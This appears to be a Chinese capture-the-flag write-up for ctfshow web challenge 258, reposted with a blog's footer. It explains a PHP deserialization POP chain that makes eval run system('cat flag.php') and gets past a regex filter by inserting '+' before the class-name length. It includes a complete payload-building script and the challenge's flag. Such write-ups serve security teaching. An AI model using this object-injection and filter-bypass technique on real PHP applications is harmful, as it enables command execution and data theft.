ctf show web 入门258

本题跟上一题思路基本一致

都是通过pop链最后让 eval()函数执行,并且通过反序列化将eval()函数中传入system(cat flag.php)想要执行eval()函数要先执行getinfo()方法,通过代码审计可以知道要执行getinfo()方法得先执行__destruct()方法

要执行__destruct()方法就要有一个对象被销毁,在我们传递完username和password的值后就会执行__destruct()方法

但是这一天增加了过滤机制,在反序列化之前,多了一行代码:

if(!preg_match('/oc:\d+:/i', $_COOKIE'user'))

这句正则表达式会检查 Cookie 字符串,如果里面包含 "不区分大小写的 o: 或 c: 后面紧跟一个或多个数字,再紧跟一个冒号" 的结构,就会拦截,不执行反序列化

PHP 在解析反序列化字符串时,对于表示类名长度的数字,前面如果带有一个正号 +,它依然能够成功将其转换为整型

因为多了一个 + 号,正则匹配中的 \d+(纯数字)就被打破了(变成了 + 后面接数字),从而成功绕过 preg_match,而后面的 unserialize() 在执行时会自动把 +11 处理成 11,正常反序列化

我们可以直接在本地写一个简单的脚本

php 复制代码
<?php
class ctfShowUser {
    public $username = 'xxxxxx';
    public $password = 'xxxxxx';
    public $isVip = false;
    public $class;
}

class backDoor {
    public $code = "system('cat flag.php');";
}

$b = new backDoor();
$u = new ctfShowUser();
$u->class = $b;

$payload = serialize($u);

// 手动或自动在 O: 后面补上 + 号
// 替换前:O:11:"ctfShowUser" -> 替换后:O:+11:"ctfShowUser"
$payload = str_replace('O:', 'O:+', $payload);

echo urlencode($payload); 
// 注意:加号(+)在 URL 传输中会被浏览器误认为空格,所以这里必须进行 urlencode 编码,把 + 变成 %2B
?>

这个php代码运行后生产的payload已经帮我们绕过了正则限制,所以我们可以直接把它放到cookie中

这里的username和password的值随便传,按下回车后检查源代码就可以得到flag

ctfshow{69dba413-7d8b-47f0-8af9-ec267214e14e}

相关推荐
石小石Orz3 小时前
我发现了开发者AI产品营收的新方向
前端·虚拟现实
老马识途2.03 小时前
关于跨域问题的总结
java·前端
别惊醒渔人5 小时前
Vue3 Diff 优化:最长递增子序列 LIS
前端·javascript·vue.js
颜酱5 小时前
07 | 把字段与指标同步到 Qdrant(生成阶段)
前端·人工智能·后端
用户059540174465 小时前
把AI长期记忆测试从手动验证换成pytest,2天揪出11个隐藏Bug
前端·css
solo_995 小时前
用 LSPosed 模拟录屏音频编码器卡顿:从思路到落地
android
FellAveal5 小时前
【Go语言入门学习笔记】Part18.工作池与WaitGroup(也即协程池)
笔记·学习·golang
zzq77976 小时前
别把大模型 API Key 写进 APK:移动 AI 应用接口防盗刷实践
android·人工智能·安全·app加固·御盾安全·安卓加固
xqqxqxxq6 小时前
Java Socket 多人聊天室(私聊+群聊)技术笔记(V4版本)
java·网络·笔记
龙仔7256 小时前
人大金仓OS_Core数据库自动备份实施笔记(银河麒麟Linux)
linux·数据库·笔记·备份·人大金仓